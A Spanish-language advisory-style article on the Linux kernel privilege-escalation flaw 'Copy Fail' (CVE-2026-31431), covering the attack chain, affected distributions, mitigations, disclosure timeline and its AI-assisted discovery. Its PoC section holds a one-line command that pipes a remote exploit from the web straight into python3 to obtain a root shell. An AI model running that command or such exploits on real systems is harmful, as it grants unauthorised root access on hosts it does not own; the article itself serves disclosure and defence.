732 bytes tumban Linux: un fallo épico oculto casi 10 años

🚨 Vulnerabilidad épica: 732 bytes comprometen todos los Linux, casi una década oculta
Un fallo llamado "Copy Fail", vulnerabilidad del kernel de Linux (CVE-2026-31431), se ha divulgado públicamente:
- 732 bytes en un script de Python
- 100% fiable, sin ventanas de carrera ni offsets del kernel
- Afecta a todas las distribuciones de Linux(de 2017 a hoy)
- Primitiva de escape de contenedores, y ataques entre inquilinos
- Casi una década oculta, divulgada el 29 de abril de 2026
El mismo script funciona en Ubuntu, RHEL, Amazon Linux y SUSE sin cambios.
🎯 El corazón del fallo
Un único defecto lógico
Copy Fail es un defecto lógico lineal:
- No necesita ventana de carrera: a diferencia de la mayoría de los LPE de Linux, que requieren carreras
- No necesita offsets del kernel: no requiere offsets específicos del kernel
- 100% fiable: funciona siempre
- El mismo script: funciona en todas las distribuciones
Cadena de explotación
La cadena de ataque de Copy Fail:
- Bug lógico de authencesn: un bug lógico
- AF_ALG: vía la crypto API del kernel
- splice(): llamadas encadenadas
- Escritura de 4 bytes en el page cache: la primitiva final de ataque
- Explotable durante casi una década: desde 2017 hasta la publicación del parche
📊 Alcance del impacto
Distribuciones verificadas oficialmente
| Distribución | Versión del kernel | Estado |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | ✅ Verificado |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | ✅ Verificado |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | ✅ Verificado |
| SUSE 16 | 6.12.0-160000.9-default | ✅ Verificado |
Otras distribuciones afectadas
Las siguientes distribuciones también están afectadas:
- Debian
- Arch Linux
- Fedora
- Rocky Linux
- AlmaLinux
- Oracle Linux
- Linux embebido
Conclusión: si tu kernel se compiló entre 2017 y el parche, estás afectado.
💡 Escenarios de alto riesgo
| Escenario | Riesgo | Impacto |
|---|---|---|
| Host Linux multi-inquilino | Alto | Cualquier usuario se convierte en root |
| Clústeres de Kubernetes / contenedores | Alto | Ataques entre contenedores y entre inquilinos |
| Runners de CI / granjas de build | Alto | Un PR se convierte en root del runner |
| SaaS en la nube que ejecuta código de usuarios | Alto | El inquilino se convierte en root del host |
| Servidor Linux estándar | Medio | LPE interno, encadenable en ataques |
| Portátil de un solo usuario | Bajo | Paso de escalada en post-explotación |
🔧 Mitigaciones
Opción 1: actualizar el kernel (recomendada)
Actualiza el kernel a una versión que incluya mainline commit a664bf3d603d:
- Qué corrige: revierte la optimización in-place de algif_aead de 2017
- Efecto: las páginas del page cache ya no aparecen en la scatterlist de destino escribible
- Estado: la mayoría de las distribuciones principales ya han publicado parches
Opción 2: desactivar el módulo algif_aead (temporal)
# 禁用 algif_aead 模块 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Impacto de desactivar algif_aead
| Componente | Impacto |
|---|---|
| dm-crypt / LUKS | Sin impacto |
| kTLS / IPsec | Sin impacto |
| OpenSSL / SSH | Sin impacto |
| Espacio de usuario AF_ALG | Posible impacto |
Conclusión: para la mayoría de los sistemas, desactivar algif_aead no tiene impacto notable.
Opción 3: bloquear AF_ALG con seccomp
Para cargas de trabajo no confiables (contenedores, sandboxes, CI), bloquea la creación de sockets AF_ALG mediante seccomp:
# 检查 AF_ALG 使用 lsof | grep AF_ALG ss -xa
🚀 Demostración del PoC
El PoC es público para que los defensores verifiquen sus sistemas:
Ejecución rápida
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
Detalles del PoC
- Tamaño del archivo: 732 bytes
- Lenguaje: solo stdlib de Python 3.10+ (os, socket, zlib)
- Objetivo por defecto: /usr/bin/su
- SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Advertencia: el script modifica el page cache del binario setuid; los cambios no persisten tras reiniciar, pero la shell root es real. No lo ejecutes en producción.
📅 Cronología de la divulgación
| Fecha | Evento |
|---|---|
| 2026-03-23 | Reporte al equipo de seguridad del kernel de Linux |
| 2026-03-24 | Confirmación inicial |
| 2026-03-25 | Propuesta y revisión del parche |
| 2026-04-01 | Parche enviado a mainline |
| 2026-04-22 | Asignación de CVE-2026-31431 |
| 2026-04-29 | Divulgación pública |
🔍 Descubridor: Xint Code
La vulnerabilidad fue descubierta por Xint Code:
- Tiempo de escaneo: cerca de 1 hora escaneando el subsystem crypto/ de Linux
- Método de descubrimiento: auditoría de código asistida por IA
- Análisis completo: root cause, diagramas y prompt del operador
- Otros hallazgos: se descubrieron a la vez otras vulnerabilidades de gravedad alta, aún en divulgación coordinada
Palmarés de Xint Code
- 0-day RCE: ZeroDay Cloud, arrasando en la categoría de bases de datos (Redis, PostgreSQL, MariaDB)
- Top 3 en DARPA AIxCC: finalista de la DARPA AI Cyber Challenge
- DEF CON CTF 9×: el equipo más ganador de la historia del DEF CON CTF
📝 Resumen
Copy Fail (CVE-2026-31431) es una vulnerabilidad épica del kernel de Linux:
- 732 bytes comprometen todos los Linux (de 2017 a hoy)
- 100% fiable, un único defecto lógico
- Escape de contenedores y ataques entre inquilinos
- Casi una década oculta, hasta su divulgación el 29 de abril de 2026
- Escenarios críticos: hosts multi-inquilino, clústeres de contenedores, runners de CI, SaaS
- Mitigación: actualizar el kernel o desactivar algif_aead
- Descubridor: Xint Code, auditoría de código con IA
Una vulnerabilidad épica de casi una década: un solo script compromete todos los Linux.
Web de la vulnerabilidad:https://copy.fail
PoC en GitHub:https://github.com/theori-io/copy-fail-CVE-2026-31431
Análisis técnico:https://xint.io/blog/copy-fail-linux-distributions
Parche del kernel:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5